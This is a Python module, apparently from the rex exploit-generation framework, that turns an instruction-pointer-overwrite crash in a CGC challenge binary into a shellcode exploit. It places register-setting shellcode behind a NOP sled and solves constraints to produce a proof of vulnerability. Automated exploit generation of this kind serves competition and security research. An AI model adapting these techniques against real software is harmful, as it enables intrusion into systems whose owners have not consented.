import logging
import claripy
from rex import Vulnerability
from rex.exploit import CannotExploit
from rex.exploit.cgc import CGCType1ShellcodeExploit
from ..technique import Technique

l = logging.getLogger("rex.exploit.techniques.shellcode_set_register")

class ShellcodeSetRegister(Technique):

    name = "shellcode_set_register"

    applicable_to = ['cgc']

    cgc_registers = ["eax", "ecx", "edx", "ebx", "esp", "ebp", "esi", "edi"]

    # this technique should create an exploit which is a type1 pov
    pov_type = 1

    generates_pov = True

    def set_register(self, register):
        '''
        set a register with shellcode on cgc
        '''

        # can only exploit ip overwrites
        if not self.crash.one_of([Vulnerability.IP_OVERWRITE, Vulnerability.PARTIAL_IP_OVERWRITE]):
            raise CannotExploit("[%s] cannot control ip" % self.name)


        if not self.crash.project.loader.main_object.execstack:
            raise CannotExploit("[%s] stack is not executable" % self.name)

        value_var = claripy.BVS('value_var', 32, explicit_name=True)
        ip_var = claripy.BVS('ip_var', 32, explicit_name=True)
        shellcode = self.shellcode.get_shellcode('setregister', register=register, value=value_var, pc=ip_var)

        # _ip_overwrite_call_shellcode now attempts to insert a nop sled
        # as a result it returns two addresses, one address where the shellcode is
        # actually placed, and one address which actually points to where ip should go
        # (inside the nop sled, presumably)
        jump_addr, shellcode_addr = self._ip_overwrite_call_shellcode(shellcode, [value_var, ip_var])

        ccp = self.crash.copy()

        ccp.state.add_constraints(ccp.state.regs.ip == jump_addr)

        # add nop sled if we were able to place one
        if jump_addr != shellcode_addr:
            nop_len = shellcode_addr - jump_addr
            sym_mem = ccp.state.memory.load(jump_addr, nop_len)
            nop_bvv = ccp.state.solver.BVV(b"\x90" * nop_len)
            ccp.state.add_constraints(sym_mem == nop_bvv)

        shc_sym_mem = ccp.state.memory.load(shellcode_addr, len(shellcode)//8)
        ccp.state.add_constraints(shc_sym_mem == shellcode)

        # get bitmask
        reg_bitmask, reg_bitcnt = self.get_bitmask_for_var(ccp.state, value_var)
        ip_bitmask, ip_bitcnt = self.get_bitmask_for_var(ccp.state, ip_var)

        if reg_bitcnt > self.bitmask_threshold and ip_bitcnt > self.bitmask_threshold:
            return CGCType1ShellcodeExploit(ccp, register, reg_bitmask, ip_bitmask, shc_sym_mem, value_var, ip_var)

        raise CannotExploit("not enough control over registers in shellcode once placed in memory")

    def apply(self, **kwargs):

        for register in ShellcodeSetRegister.cgc_registers:
            try:
                reg_setter = self.set_register(register)
                l.info("was able to jump to shellcode for setting register [%s]", register)
                return reg_setter
            except CannotExploit as e:
                l.debug("could not set register %s with shellcode (%s)", register, e)
